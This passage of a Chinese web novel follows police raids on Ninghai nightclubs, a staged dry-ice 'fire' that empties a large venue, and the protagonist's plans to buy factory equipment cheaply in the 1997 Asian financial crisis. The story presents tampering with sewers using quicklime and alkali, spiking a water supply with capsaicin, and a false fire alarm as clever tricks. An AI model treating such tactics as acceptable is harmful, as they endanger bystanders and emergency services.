走廊上一片狼藉。正走着,拐角处突然蹿出来一个黑衬衫保安——眼睛肿得只剩一条缝,眼泪哗哗往下淌,啥也看不见,光听到脚步声就伸手乱抓。马辉一侧身躲了过去,身后的队员二话不说,一个过肩摔把人拍在地上。 保安被甩开后,余兵冲在最前头,一脚踹开VIP包间的门。 包间里烟雾腾腾,桌上摆着几瓶洋酒,杯子倒了好几个,酒洒了一桌子。 沙发上站起来一个男人——五十出头,寸头,深色夹克。眼睛红得厉害,眯成缝,眼泪顺着鼻梁两边往下淌,那模样惨得不行。他手在桌面上乱摸,身子往前倾,像是在找什么东西撑着,又像是在往某个方向挪。 那个方向是办公桌。 他摸到桌沿,整个人重心立刻压了过去,身子往前一扑,手就往办公桌下面伸。 余兵一脚就上去了。脚底板正踹在男人腰胯之间,那人整个人往前栽,脸磕在桌沿上,闷响一声,顺着桌腿滑下去,躺在地上抽搐了两下。余兵没停,蹲下去把他翻过来,手伸进办公桌下面的柜子——摸到一个冰凉的东西。拉开门往里一看,整个人愣住了。然后慢慢把手抽出来。 一把猎枪。 双管,枪管黝黑发亮。 柜子里还有个牛皮纸袋,打开一看,一捧黄澄澄的子弹,铜壳在灯下反着光。 余兵的手有点抖。他是警察,枪见过不少,但一个酒吧老板的办公桌下面藏着上了膛的猎枪,这他妈还是头一回。心里一阵后怕。 今天要不是按韩学涛说的那样,先堵了下水道、灌了辣椒水,要不是趁乱冲进来,而是正常行动——那这老东西从柜子里摸出枪,对着包间门口来一发,这屋里站着的几个人,今晚能不能活着走出去都不好说。 余兵抱着猎枪站起来,后背全湿透了。 马辉站在包间门口,看着地上那人的手被反拧到身后、手铐咔嗒一声扣上,脸上没什么表情,但喉结上下动了一下。 他没有说多余的话,转身走出包间,拿起对讲机:“各组汇报情况。” “吧台控制,搜出药片。” “大厅控制,疏散正在进行。” “后门封锁,没有人员逃脱。” 对讲机里一个接一个的声音传回来。 另一边,警车上,还是韩学涛和展雪两个人。 展雪靠在车后座上,腿蜷着,脑袋枕着车门框。她透过车窗往酒吧方向瞟了一眼,然后闭上眼睛,睫毛颤了颤,说:“睡不着。你唱个歌呗。” 韩学涛看她一眼:“老让我唱,你怎么不唱?今天该你了,轮到我听了。” 展雪笑了一下,“行啊,”她说,“我清唱几句,把你哄睡了行不行?” 韩学涛闭上眼睛,把座椅放倒,躺下。车里黑漆漆的,车窗外的天上挂着星星。 耳边传来展雪的声音,像晚上一个人窝在房间里哼给自己听的。 “来日纵使千千晚星,亮过今晚月亮。都比不起这宵美丽,亦绝不可使我更欣赏。因你今晚共我唱……” 酒吧那边还有人在喊话,还有脚步声。远处偶尔有车经过,发动机的声音由远及近又由近及远,最后消失。那些声音都浮在表面,展雪的声音沉在底下,像一条静河,缓缓流过。 一首唱完,韩学涛躺着没动,展雪也安静下来。两个人的呼吸声变得清晰起来,一深一浅,在狭小的空间里轻轻交叠。一颗很亮的星星挂在挡风玻璃的左上角,一动不动。 帝豪酒吧门口的喧嚣渐渐平息。最后一辆押送嫌疑人的警车开走,柳河路上只剩下几辆亮着双闪的警车和零星几个正在收队的联防队员。 马辉从酒吧大门走出来,步子比进去时慢了许多。 刘小勇跟在后面,手里拎着一个证物袋——袋子里装着那把从办公桌下面搜出来的猎枪。 余兵走在最后,手里夹着一根烟,烟灰烧了很长一截,他没有弹掉,就那么夹着,像在想什么事情。 三个人走回警车旁边。 马辉没有坐进去,而是靠在车门上,摘下警帽,用袖子擦了一下额头。帽子摘下来之后,头发湿漉漉地贴在头皮上,被夜风一吹,凉得他打了个哆嗦。 刘小勇把猎枪放在地上,靠着车轮,一屁股坐在路沿上,两只手撑着膝盖,仰头看天。 “刚才冲进去那会儿,包间门一踹开,我看见那老东西往办公桌那边扑,我还没反应过来呢,余兵一脚已经踹上去了。” 余兵蹲在路边,把烟叼在嘴里,低头看着自己的鞋——鞋面上有一道划痕,是踹门的时候蹭的。他吸了一口烟,慢慢吐出来,“那老东西手伸下去的位置,正好是放枪的柜子。再晚两秒,让他把枪摸出来,咱这走廊里的人,谁都跑不了。” 沉默了几秒。 马辉把警帽翻过来,看了一眼帽檐内侧的警徽,又扣回头上。“这会儿想想,后脊梁还冒凉风。幸亏涛子那损招——他让我们往上游排污井里塞生石灰和工业强碱,把下游堵死,让下水道的气体倒灌进酒吧。那味儿你们也闻见了。” 刘小勇说:“那味儿一出来,里面的人哪还顾得上打架?一个个捂着脸往外蹿,鼻涕眼泪糊一脸。妈的,别说他们了,我都想跑。” 余兵接茬:“还有水箱里那玩意儿——高浓度辣椒碱,打进供水总阀,后厨一拧水龙头,出来的全是辣椒水。那群保安冲出来的时候,一个个跟瞎子似的,捂着脸瞎摸,根本找不着北。” 马辉扭头看了一眼车里。韩学涛靠在警车后座另一侧,闭着眼睛,像是睡着了。展雪坐在他旁边,腿上搭着一件外套,也在闭目养神。车窗开着一条缝,夜风从缝隙里钻进来,把她的头发吹得微微飘动。 他转回头,压低声音说了一句:“你说他这脑子里头,都装的什么玩意儿?” 余兵蹲在那儿,把烟叼在嘴角,眯着眼说:“他要是干咱们这行——我看用不了两年,就得成全国有名的‘犯罪克星’。” 三人沉默下来。 夜风吹过梧桐,叶子哗啦啦地响。 第216章 马辉点火,我来放炮 总局三楼,副局长办公室的门虚掩着。 走廊里的灯灭了一半,只剩墙角那盏日光灯还亮着,发出细微的嗡嗡声。 付祥民站在窗前,手里夹着一根没点的烟。窗帘拉开了一半,楼下的院子里停着几辆警车,车顶上积了一层薄薄的夜露,在路灯下反着冷光。 门被敲响,两下。 “进来。” 赵伟推门进来,手里拿着一个蓝色文件夹,走到办公桌前站定。付祥民转过身看了他一眼,赵伟的表情跟刚才不太一样,似乎是那种震惊之后想严肃但肌肉还没完全收回来的状态。 付祥民把那根烟叼进嘴里,还没点,含糊地说:“说吧。” 赵伟翻开文件夹:“螺塘那边有结果了。马辉带着联防队今晚动手了,端了两个场子。第一个是彩虹桥酒吧,搜出摇头丸,现场摁住七个。第二个是帝豪,那边不光有摇头丸,还翻出一把猎枪,双管的,有子弹,就藏在老板办公桌底下的柜子里。老板当场拿下,人已经押回来了。” 付祥民听完愣了一下,烟从嘴上拿下来,紧接着就问:“联防队那边呢?伤着没有?” “没有。行动很顺利,几乎没有遇到抵抗。” “没抵抗?”付祥民觉得有些不可思议,在办公桌后面缓缓坐下来,椅子发出一声轻微的吱呀。他拿起打火机,啪嗒按了一下,火苗蹿起来,他没点,又松开了。 “彩虹桥那边,缉毒大队何浩跟我汇报过不止一次,盯了挺长时间,就是找不到突破口。帝豪就更不用说了,娱乐场所里藏着枪,要说他们不涉黑,我都不信。”他抬起头看着赵伟,“马辉带的这帮小猴子,是怎么做到的?” 赵伟摇头:“具体细节还没报上来。可能要等他们收队之后才能问清楚。” 付祥民没再追问,靠进椅背里,手指在扶手上敲了两下。嘴角动了动,不是笑,是一种说不上来的表情,像是对一件事终于有了把握之后的那种松弛。 “行喽。马辉点着了火,接下来就该我放炮了。” 他站起来,走到窗前,把窗帘整个拉开。楼下那几辆警车还停那儿,车顶上的露水又厚了一层。他转过身,拿手指着赵伟:“通知下去,准备动手。” 赵伟腰一挺:“是。” 他转身要走,付祥民又给叫住了:“马辉他们现在干嘛呢?” “帝豪那边回来的人说,他们准备去下一家了。”赵伟犹豫着问,“付局,要不要让他们先停一停?” 付祥民摆了摆手,啪嗒一声点着了烟,狠狠地吐着烟雾说:“让他们闹去。动静越大越好。火都点着了,就让他们接着放烟,只要不把天捅个窟窿,我都给他们兜着。” ...... 帝豪之后,马辉的联防小队彻底进入了奔腾模式。两个小时之内,又扫荡了三家。 这年头娱乐场所,你甭管多正经,真下狠手去翻,多少都能抠出点东西来。第一家翻出几包摇头丸,量不大,不够塞牙缝。第二家假酒假烟整箱整箱的,可惜他们看不上眼。 第三家就离谱了——包房里坐着几个一看就没成年的小姑娘,这罪名搁哪儿都不算轻了。可问题是,这点“收获”已经填不饱联防队的胃口了。 除了头一家那几包药丸还勉强能交差,剩下两家查出来的东西,连总局来收货的人都懒得伸手。假酒假烟归工商管,未成年少女归治安大队,两边都不怎么当回事。最后只能拉回螺塘派出所,算是给所里创点收。 警车停在路边,发动机没熄火。马辉窝在驾驶座上,把警帽摘下来往仪表盘上一扣,手指头有一搭没一搭地敲着,透着股烦躁。刘小勇坐副驾,叼根烟,慢悠悠地吸。余兵窝在后座,靠着车窗往外看。 “还行吧?”刘小勇朝车外弹了弹烟灰,“今晚上收获不小了。三家场子,帝豪那家还搜出枪来。等系统一通报,够咱们联防队吹半年的。” 余兵没转头:“吹半年有什么用?我感觉今晚是雷声大,雨点小,虎头蛇尾。你往后看那三家——头一家几包药片,第二家假烟假酒,第三家小女孩。小女孩那事不算小,可咱们的目标是扫毒。” 刘小勇说:“蚊子腿也是肉嘛。” 余兵转过脸,看了他一眼:“平时你吃的比谁都多,现在开始塞牙缝了?” 马辉没吭声。他盯着前方那条被车灯照亮的马路,手指还在方向盘上敲,一下比一下快。 他叹了口气:“今晚上收获确实也不小了。可最后一网没打着,就这么回去,总觉得心里堵得慌。” 话音刚落,后座传来一个声音。 “我知道有一家。里面肯定有毒品。你们敢不敢打?” 三个人同时转过头,看向后面的展雪。 “哪一家?”马辉问。 展雪说:“海上明珠。” 这个名字一出口,车里瞬间安静了。刘小勇的烟灰掉在裤子上,都忘了拍。 这家夜总会在宁海太有名了。不是一般的有名——是那种连出租车司机都知道、连外地人都听说过、提起宁海夜生活第一个蹦出来的名字。 它不是一家店,是一个场子。夜总会、洗浴中心、迪厅、KTV,好几栋楼连在一起,灯火通明,从晚上八点一直亮到凌晨四点。停车场永远塞满了车,从桑塔纳到奔驰,从本地牌照到省城牌照,什么车都有。门口的迎宾小姐穿着旗袍,站成一排,个子一样高,一笑一鞠躬。 马辉咽了一口唾沫。一个螺塘派出所,一支不到二十人的联防队,能动帝豪已经是顶天了。海上明珠?想都不敢想。 “你确定?”马辉的声音有些发紧,“他们做这么大的生意,不至于贩毒吧?” “真正的老板姓崔,叫崔卫星。海上明珠是他儿子崔鹏在管。”展雪转过头,“你们也别问我怎么知道的。信不信由你们。” 三个人齐刷刷地看向韩学涛。 韩学涛靠在座椅上,一直没搭腔。他脑子里在飞快地过着展雪说的那些话。别人不知道展雪是谁,他知道——来胜平的女儿。来胜平是干什么的,他比谁都清楚。 展雪不会无缘无故提这家店。姓崔的……韩学涛心中一动。 他看向展雪——展雪说完那句话就把脸转向了窗外,侧着身子,不看人,也不说话,像是把该说的都说完了,剩下的跟她没一点关系。 “姓崔的肯定不是什么好东西。”韩学涛一张嘴,就斩钉截铁。 展雪一怔,转过头,微微张着嘴。 而韩学涛接着哼道:“光脚的不怕穿鞋的。你们仨一个月工资加起来,顶不上人家海上明珠一个保洁。怕什么?再说了,天塌下来,有个子高的顶着。总局有大神坐着呢。” 这话像一把火,把三个人都点着了。 马辉把手往方向盘上一拍,握紧,又松开。 “干了!” 第217章 警察怎么来这么快? 车子到了海上明珠。 几辆警车全都熄了灯,远远停在路边。 这儿算得上宁海最热闹的商圈之一,平时根本不让停车,不过毕竟是警车,又赶上大半夜的,几辆车安安静静趴在那儿,看着跟日常巡逻也没多大区别。 车里,马辉、刘小勇、余兵三个人齐刷刷回过头,目光在韩学涛和展雪之间来回扫。 “怎么说?”马辉开了口。 展雪刚要说话,韩学涛抬手拦了一下:“这回不用你的人。” 展雪看了他一眼:“为什么?” “海上明珠是什么地方?”韩学涛不紧不慢地说,“对这种老板,得给面子。你那几个小马仔,上不了台面。” 他嘴上这么说,心里想的却是另一件事——万一这家场子真跟来胜平有关系,那必须把展雪摘出去。 马辉三个人齐刷刷点头。“对,给面子,必须给面子。”刘小勇往前探了探身子,“涛哥,具体怎么个给法?” 韩学涛没接话,伸手翻过马辉手腕上的表看了一眼:两点四十。 他抬起头,朝海上明珠的方向望过去。那几栋楼灯火通明,门口的停车场还停着不少车,几个穿西装的男人站在门外,腰间的对讲机一闪一闪冒着蓝光。 “去找几个大号的垃圾桶,”他说,“让兄弟们跑一趟附近的海鲜酒楼,弄点干冰回来,越多越好。再去药店买白凡士林,买不到的话,去修车店搞两罐黄油,美容美发店弄点固体发蜡,也行。” 马辉眨了眨眼,一脸没听懂的样子。 韩学涛接着说:“垃圾桶里倒上半桶开水,把干冰扔进去,再把发蜡或者黄油抹在桶壁上。出来的烟是白的,冷雾,带一股烧焦的味儿,闻起来跟电路起火一模一样。对人没害,散得也快。可在这个节骨眼上,谁见了那烟都得以为真着火了。” 马辉眼睛瞪得溜圆:“你的意思是——” “你们放烟之前,先打119。”韩学涛又瞥了一眼时间,“消防队从最近的支队赶过来,大概五六分钟。你们卡好点,烟一起来,消防车差不多正好到。马辉你就带人往里冲……” 他说完,看着马辉。 马辉没吭声,伸手把仪表盘上的警帽拿起来,慢慢戴正了。 干冰和垃圾桶很快就位。几个联防队员从附近的海鲜酒楼搬来两箱干冰,用毛巾裹着,白气从缝隙里丝丝往外冒。 白凡士林从药店买到了,三盒。发蜡和黄油也备齐了——这种黄油不是做西餐的那种,是修车行用的锂基润滑油。 此外还有铁皮垃圾桶,也不知道那帮联防队员从哪个角落翻出来的,一股子怪味。 一切就绪。 马辉在路边蹲了一会儿,抬头朝海上明珠后门的方向看了看。 那条巷子通向后厨,平时走货、倒垃圾都从那边过。他叫过来几个联防队员,打发他们去附近的海鲜酒楼借了几件工作服:白色短褂,胶皮围裙,帽檐上印着“东海渔港”的字样。 换好之后,几个人推着酒店运货用的平板手推车,车上摞着三个铁皮桶,桶上盖着塑料布和几层毛巾。 他们从巷子进去,看到后门没人把守,只有两个穿黑衬衫的保安靠在墙边抽烟。保安扫了他们一眼,目光在那几件白色短褂上停了一下,便移开了。 他们推着手推车钻进后厨,沿着走廊往里走,一个去了厨房旁边的洗手间,一个上了二楼,找到暖通机房旁边的一个拐角。 门一关,铁皮桶放稳,热水从保温瓶里倒进去,热气立刻腾了起来。 干冰入水。 白色的雾气从桶底翻涌而出,不是丝丝缕缕地冒,而是整桶往外溢,像一锅煮沸了的牛奶,咕嘟咕嘟地往外涌。白雾贴着地面往前滚,遇到墙壁便往上翻,从门缝下面挤出去,沿着走廊一路扩散。 另一个联防队员已经把整盒白凡士林和发蜡挖出来,抹在暖通机房的百叶窗上,抹在走廊尽头的通风口栅栏上。凡士林遇热融化,混着干冰的冷雾,整条走廊的通风口都在往外吐白烟。 海上明珠的大厅里,烟雾从洗手间的门缝和暖通机房的百叶窗里同时涌出来。白雾贴着地面往前推,像涨潮时的海浪,速度快得惊人,不到半分钟就漫过了整个大厅的地面。 烟雾里裹着一股浓烈的焦糊味,闻起来和电线短路的味道一模一样,刺鼻,呛人。 一个穿裙子的女人先从卡座上站起来,捂着鼻子往后退了两步,低头看着从脚面上滚过的白色雾气,愣了一秒,然后尖叫出声:“着火了——!” 整个大厅像被捅了的马蜂窝,瞬间乱作一团。 头顶,捷克进口的水晶吊灯光芒璀璨,照着下面人仰马翻。尖叫声、桌椅翻倒声、酒杯碎裂声搅成一锅粥。人群从各个卡座涌出来挤向门口,手包、眼镜、高跟鞋掉了一地,狼藉不堪。角落里那架白色三角钢琴前,弹琴的姑娘早跑没了影,琴凳翻倒在地。 几个穿黑色制服的保安拼命挥手喊“别挤别挤”,嗓子都冒烟了,可根本没人听,反倒被人流推得东倒西歪。 吧台后面,调酒师钻进了酒柜底下——成排的年份麦卡伦被慌乱中的人撞倒,琥珀色的液体顺着大理石吧台往下淌。散台上,几个喝高了的客人还傻坐着没反应过来,端着红酒杯愣愣地看着满地的白烟。卡座区,有人踩着真皮沙发往外翻,有人拿湿巾捂住口鼻蹲在角落里发抖,大大小小的银托盘散了一地。 楼上VIP包间的门接连打开,有人探头张望一眼,神色一变,转身回去拿外套和包,然后挤进楼梯往下冲。也有人喝得烂醉,被同伴架着往外拖,一路把走廊里的花瓶撞翻了好几个。楼梯口已经堵死,有人掉头跑向消防通道,有人扒在电梯前拼命按按钮,也有人干脆蹲在墙边不走了,抱着头干嚎。 白烟还在不断往外涌,贴着地面越漫越宽。 整个大厅,彻底散了。 警笛声从远处传过来的时候,消防车还没到。 声音越来越近,越来越响,街上开始有人驻足张望。等消防车在海上明珠门口刹停,消防员跳下车的时候,路边已经站了一圈看热闹的人。 有人抱着水带往大厅方向冲,有人扛着工具找火源,一个消防员正仰头往楼上指——指到一半,他的手顿住了。 因为他看到一队警察正从街对面快步走过来。 打头那个穿警服、戴警帽的,步子又快又稳,几乎和消防员同时踏上了台阶。马辉走到消防指挥员面前,伸出手握了一下,低声说了几句。消防指挥员点了点头。 马辉转过身,朝身后的联防队员喊了一嗓子:“维持秩序,防止踩踏!一个一个房间搜,看有没有人吸入过量烟雾昏迷!全面排查隐患!” 联防队员从他身后涌出来,像开了闸的水,瞬间灌进了海上明珠的大厅。 消防指挥员看着那些打了鸡血似的联防队员,转头看了看身边的副队,副队也正看着他,两个人脸上挂着同样的表情——特么,警察怎么来这么快? 第218章 旧车与枪 警车里,展雪一直透过车窗盯着海上明珠的大门。视线定定的,一动不动。 韩学涛坐在她旁边,顺着她的方向看了一眼,又收回来:“这种场子,最后能搜出什么来,不好说,得看运气。” 展雪说:“我发现你这人不是一般的坏。” “哎,”韩学涛喊冤,“我这可是在帮警察扫毒,正义得不能再正义了好吧。” 展雪侧过脸看他:“你这么帮你朋友,图啥?” “当然是希望马辉升官啊,”韩学涛说得那叫一个理直气壮,“以后我也能有个靠山。” 展雪盯着他看了两秒:“我怎么看,都是马辉在靠着你。” 韩学涛往座椅上一靠,目光落在车窗外那片红蓝交替的光里。“不能这么说。帮人就是帮己。这世上的事风水轮流转,再厉害的人也有为难的时候。我现在帮马辉,也是在给自己以后铺路。路嘛,越多越好,指不定哪天就要走。” 展雪没再问了,转回头,继续望向海上明珠。 就在这时,一阵发动机的轰鸣从街那头传来。一辆深色桑塔纳从街角拐出,速度飞快,猛地刹住——轮胎擦着路肩,一声短促的尖叫。 车门同时弹开,四个男人跳下车,全部穿着警用背心,腰间挎着装备。他们不看消防车,不看围观的人群,目光直接锁定了海上明珠的大门。 紧接着,一辆军用大卡车从后面跟上来,车厢蒙着深绿色篷布。车还没停稳,人就往下跳了——武警,几十号人,迷彩服,钢盔,橡胶警棍。落地之后迅速整队:两个人守住门口,两个人散到两侧,剩下的人跟着带队的军官直接冲进了大厅。 前后不到三十秒。 展雪身子往前一倾:“怎么来了这么多武警?” 韩学涛没有回答。他的目光落在那辆深色桑塔纳上,眼睛微微眯了起来。 那辆车他见过。 在哪儿见过?什么时候?他说不上来。但他敢肯定,自己曾经在某个要紧的场合见过它。当时没在意,就那么过去了。可此刻,在深夜的海上明珠门口,那辆车突兀地冲过来,韩学涛的直觉已经先于脑子做出了反应——一种说不清道不明的东西从胃里往上顶。 这是他在道上混了这么多年之后,身体自己长出来的本能。不是恐惧,是对危险的嗅觉。有些东西,当时不在意,可眼睛替你记下了。等到再次撞见的时候,身体会告诉你答案。 可他想不起来。 那辆车,那些穿警用背心的人,那些训练有素的武警——这一切都在告诉他:今晚的事,已经不在他的掌控范围之内了。 他盯着那辆桑塔纳,脑子里飞速翻找着过去的每一个场景,每一个去过的地方,每一个见过的人。 烟雾从海上明珠的大门里飘出来,在灯光下缓缓散开。那辆深色桑塔纳静静停在路边。 而武警冲进去不久,韩学涛在车里就看见马辉他们被赶出来了。 联防队员一个个从大门口鱼贯而出,步伐凌乱,有人还在回头张望,表情愤怒。紧随其后的是消防队员,扛着水带、抱着破拆工具,也是黑着脸。 马辉走在最前面,警帽捏在手里,脸色铁青。刘小勇紧随其后,叼着烟,骂骂咧咧。最后的余兵两手插在裤兜里,一脸阴沉。 几个人上了警车,车门一关,马辉一拳砸在方向盘上。 “缉毒支队那帮人,真他妈不讲究。局面是我们打开的,结果他们来吃现成的?肯定是看咱们今天晚上收获多了,眼红了。操,什么玩意?” 刘小勇说:“老子给你打开局面,你倒是客气点啊。这帮人冲进去的时候,有一个从我身边过,胳膊肘直接撞我肩膀上,连句话都没有。差点把我搡一跟头。” 余兵哼了一声:“说缉毒支队的何浩牛逼哄哄的,你让他自己说说,他破过什么案子?这一年宁海最大的毒品案子,还不是咱们螺塘派出所缴出来的?上次在美茵,也是咱们把事都办完了,他跳出来吃现成的。脸都不要了。” 美茵美容院。 这五个字钻进韩学涛的耳朵里,像什么东西在脑子里炸开了。 他猛然想起来了。那辆桑塔纳,就是在美茵美容院门口见过的。那天他们坐夏利过去,他习惯性地观察了周围环境,那辆车就停在美容院不远处的路边,比他们到得还早。他当时没有多想,只是看了一眼。 后来他带着李曼离开,那辆车也没动——原来那是缉毒支队的人? 他们早就盯上了那套隆胸贩毒的线索。 那他们为什么埋伏在外面不行动?当时罗点点已经在楼上准备手术了,冲上去就是人赃并获。他们为什么不动?那件案子,事后马辉说过,查出来有六七个受害的女孩,甚至有人到螺塘派出所报过案。专业做这个的缉毒支队会不知道? 韩学涛靠回座椅上,眼睛眯了起来。 随即他的肩膀又松了下来——关自己什么事? 这世界每时每刻都在发生着各种隐秘和争斗。可能这会儿,南美洲哪个山谷里,毒品集团正在用机枪火拼;可能莫斯科哪个地下室里,几个人正低声商量下一批军火;可能公海哪条货轮上,成吨的货正在夜色里被吊臂卸下;可能哪个城市的哪个房间里,一封盖着红章的文件刚签完,马上就要改变无数人的命运。 这些事每时每刻都在发生。而绝大多数人终其一生都接触不到。 “算啦。”韩学涛说,“你们退出来也好。海上明珠能做这么大,姓崔的背后不会没大伞。现在有啥后果,让缉毒支队和武警去担着。跟你们没关系。今晚大戏就这样了。杀青吧。” 马辉叹了口气,把警帽扣回头上,抬手看了一眼手表:“都这个点了,再过俩小时天都亮了。走吧,去吃点东西,等天亮了回去补觉。” 余兵问:“去哪?” 刘小勇说:“就东海渔港吧。刚才就从他们那借的衣服。” 马辉瞪了他一眼:“小勇,你真看得起我。就我这点工资,你觉得我能吃得起东海渔港?” 刘小勇嬉皮笑脸地说:“我这不是借着说话解解眼馋么。别说辉哥你一个,就是把咱们仨的工资加一块也吃不起。” 余兵干搓了一把脸:“咱们联防队AA,一个人够一碗海参捞饭。” 韩学涛从兜里摸出那沓钱。武丞山上赢的三千块,在帝豪给了小海五百,剩下的两千五全递到马辉面前:“海参捞饭不错。就这个了。再来点别的,你们看着办。” 马辉看着那一小沓钱,眼睛瞪大了一圈:“涛子,你这钱——” “武丞山飙车,有我一份。”韩学涛淡淡地说,“后来下山的时候碰到交警,还是小勇帮我解的围。这就是因果,所以钱得花出去。” 听到这话,刘小勇转过头,震惊地看向展雪。他想起交警拦车时,骑着摩托车的人不是韩学涛,是展雪。他咽了口唾沫:“牛逼啊。” 展雪没吱声,只是笑意盈盈地看着韩学涛。特困生?手脚有你这么大方的特困生可不多。 车子开到东海渔港的时候,凌晨四点刚过。 东海渔港是宁海最大的海鲜酒楼,白天车水马龙,这个点已经打烊了。但酒楼旁边有一排大排档,是东海渔港自家的,通宵营业,专做后半夜的生意。 红色塑料棚子下面摆着十几张折叠桌。联防队的十几个人呼啦啦涌进棚子,干完活吃海鲜,个个放松又兴奋。 韩学涛和展雪走在最后。就在快走进棚子的时候,韩学涛的脚步忽然顿住了。 远处传来一声脆响。隔得很远,像什么东西在很深的巷子里炸了一下,又像有人在很远的地方用力关了一扇铁门。 声音不大。在别人耳朵里可能根本不会注意——大排档的嘈杂声、远处马路上的车声、风吹塑料棚子的哗啦声,哪个都比它响。但对韩学涛来说,那声脆响太清晰了。 枪。 不是鞭炮,不是车门,不是任何东西。是枪。他听过太多次了。那种声音一旦进入耳朵,就再也忘不掉,像一把刀在记忆里刻下的痕迹,任何相似的声音都会把它重新激活。 他的背肌绷紧,目光猛地转向远处的某个方向。马辉走在他旁边,吓了一跳,停下脚步问:“怎么了?” 韩学涛盯着那个方向又看了两秒,问:“那边是哪?” 马辉顺着他的视线看过去,什么也没看见。远处只有一片黑沉沉的夜空和几栋高楼的模糊轮廓,什么异常都没有。 他拉了余兵一把:“你路熟,那边是什么地方?” 余兵抬头往那个方向看了一眼,想了想:“那边?那边过去不就是城东么。咱们螺塘和宁海大学也在那个方向。” “再远点呢?出城。” “出城?那就是东站货场。再远就是宁海港了。怎么了?” 韩学涛收回目光,把表情从脸上抹掉了,重新变得随意起来。“没事。走吧。” 第219章 工厂要不要? 第二天一早,韩学涛走进兵海所,困得眼睛都快睁不开了。 丁瑶看见他,转身去泡了杯咖啡端过来,问:“怎么困成这样?” “一晚上没睡。”韩学涛接过杯子喝了一口。 丁瑶没问他去干了什么,低头翻了翻桌上的日程表,说:“今天还要去水警区,你这样能过去吗?” “没问题,早约好了。”韩学涛往椅背上一靠,随口说,“军营比大学洗澡还方便,到那洗个澡,人就精神了。” 丁瑶合上本子,忽然想起一件事:“夏芳和夏梅从家里带了烧麦,要不要吃?” 韩学涛本来不想吃,但听说是那对双胞胎姐妹带来的,顿时来了点胃口。 这两姐妹家里是厨师世家。父亲做鲁菜,母亲做白案,面点一绝。两人长得五大三粗,全随了父母的体格子。当初卫校毕业找不到工作,家里愁得不行,甚至想让她们跟着下厨,姐妹俩死活不愿意。后来进了兵海所。 父母喜出望外,觉得这可是国家的研究所,领导同事全是宁海大学的高材生,档次高得很。况且两姐妹一个月挣四百块,比他们单位后勤科科长也就少一百多——人家还加了工龄工资呢,自家俩女儿可是刚参加工作。 老两口知恩图报,觉得不能白占公家便宜,开始每天在家做菜,让女儿带到单位。韩学涛本想说不必麻烦,可吃了一次就发现比学校食堂强出几条街,于是默认了,想着年底多给姐妹俩发点补助也就是了。 烧麦从保温桶里拿出来,还冒着热气。韩学涛咬了一口,觉得比昨晚的海参捞饭还香。 钟磊推门进来。韩学涛把保温桶推过去:“师哥,尝尝,夏芳夏梅带来的。” 钟磊捏了一个丢进嘴里,嚼了两口,点点头说:“嗯,不错。现在你这儿人少,用不着食堂。等以后人多了,把老夏两口子聘过来当厨师,比外面找的强。” “快也快。”韩学涛说,“楚强小白那边房改业务已经有眉目了,做起来很快就能扩张。” 钟磊摆了摆手,对这些不感兴趣:“那些随你。水警区那边别掉链子就行。二哥和师长去军区装备部做了汇报,首长很重视,年底就要见成效。” “放心吧,轻重我分得清。待会儿就过去。” “今天可能过不去了。”钟磊说。 “怎么了?” “昨天晚上宁海港出了点事。警察突袭缉私,海关那边闹得很大,最后水警区都出动了。” 韩学涛一怔。昨晚那声枪响——是在海关缉私?针对谁?来胜平? “警察缉私怎么会出动水警区?阵仗不小啊。”他问。 “具体我也搞不清楚。听说谁也没捞着好,市局和水警区各退一步。后边还有一堆破事要处理。这个星期你肯定过不去了。”钟磊边吃边说。 韩学涛点点头,脸上不动声色,心里却翻起了波澜。 听钟磊的意思,市局和水警区是对立的两头。市局缉私,水警区的角色也就不言自明了。再往前想——昨晚市局急切地让马辉他们到处点火,目的也就清楚了:掩护海关那边的缉私行动。这行动明显策划了很久,只是结果可能不太圆满。 他想了想,把这事搁在了脑后。跟自己关系不大,如今身家连一千万都不到,没心情管那么多闲事。 他拿起桌上的电话,拨了一个号码。响了三声,那边接了起来,老洪的声音带着一贯的沙哑:“学涛。” “洪叔,那边怎么样了?” 老洪说了一句让韩学涛坐直身子的话:“马来西亚放弃林吉特了,货币已经崩了。泰国之后,第二个。”他顿了顿,“林吉特对美元跌了快百分之二十,还在往下掉。印尼盾更惨,从年初到现在跌了七成,听说还要跌。新加坡那边也开始晃了。” 韩学涛靠在椅背上,手指在桌面轻轻叩了一下。 “我在这边收了不少存单。”老洪的声音压低了,语速却快了起来,“银行急着出手,折价折得厉害,有些单子连零头都不到。还有厂子——马来西亚那边有几个华人老板撑不住了,工厂要转卖,开价低得吓人。学涛,你要不要?” 韩学涛没有马上回答。他想起了许多事。 九七年的金融危机,东南亚的工厂成片倒下。厂房被查封,设备被贱卖。那些精密机床、数控冲床,在印尼、马来西亚的废品站里按吨称重,几万块一台。运回国内,翻新校准,卖给正在技术改造的乡镇企业,一台能卖到八九十甚至上百万。这里面的利润不是翻倍,是翻十倍、二十倍。 原因很简单:印尼盾对美元暴跌,而人民币对美元基本稳定。同样一台设备,在印尼用美元买,跟在用人民币国内买,是两个完全不同的价格。当地人手里没有美元,工厂倒闭清算时设备只能当废铁卖。而他手里有美元,就能用废铁价把设备买下来。运回国内,乡镇企业拿不到进口配额,买不到新设备,这种二手精密机床对他们来说是抢手货。一来一回,赚的是汇率差和供需差两道钱。 “洪叔,你帮我盯一件事。”韩学涛说,“那些要倒的厂子,别管它们是做什么的,把设备清单给我摸清楚。精密磨床、数控冲床,还有日系德系的生产线——哪家有,什么型号,什么成色,清算的时候卖什么价,我要一清二楚。” 老洪在那边愣了一下:“你要买设备?” “先看。”韩学涛说,“哪怕买回来我们不用,也可以转卖掉,反正亏不了,赚多还是赚少的问题。” 老洪沉默了两秒,像是在算这笔账,随后笑了一声:“明白了,我这就去摸底。” “随时跟我汇报。”韩学涛说完挂了电话。 他坐在椅子上,看着窗外。阳光很好,照在对面的砖墙上,爬墙虎的叶子被风吹得翻过来,露出灰白色的背面。 东南亚正在经历一场风暴,而对岸的中国,那些急着转型的乡镇企业正嗷嗷待哺。他坐在这间办公室里,隔着几千公里,用一个电话就能把两头连起来。这种时代机遇,他太清楚了。